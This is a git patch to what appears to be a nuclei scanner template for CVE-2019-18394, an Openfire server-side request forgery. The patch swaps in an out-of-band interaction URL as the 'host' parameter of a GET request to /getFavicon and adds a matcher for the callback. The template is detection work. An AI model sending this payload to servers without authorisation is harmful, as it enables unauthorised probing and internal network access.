From 2d6198ba047fea3f4d9ff6543164f47fd184b8f5 Mon Sep 17 00:00:00 2001 From: sandeep Date: Mon, 19 Jul 2021 18:13:09 +0530 Subject: [PATCH] Updated payload + matcher --- cves/2019/CVE-2019-18394.yaml | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/cves/2019/CVE-2019-18394.yaml b/cves/2019/CVE-2019-18394.yaml index 5bd99f4581..853e3f08d8 100644 --- a/cves/2019/CVE-2019-18394.yaml +++ b/cves/2019/CVE-2019-18394.yaml @@ -8,13 +8,15 @@ info: refrense: | - https://swarm.ptsecurity.com/openfire-admin-console/ - https://github.com/igniterealtime/Openfire/pull/1497 - tags: cve,cve2019,ssrf + tags: cve,cve2019,ssrf,openfire,oob requests: - method: GET path: - - "{{BaseURL}}/getFavicon?host=burpcollaborator.net" + - "{{BaseURL}}/getFavicon?host=http://{{interactsh-url}}" + matchers: - type: word + part: interactsh_protocol # Confirms the HTTP Interaction words: - -

Burp Collaborator Server

+ - "http" \ No newline at end of file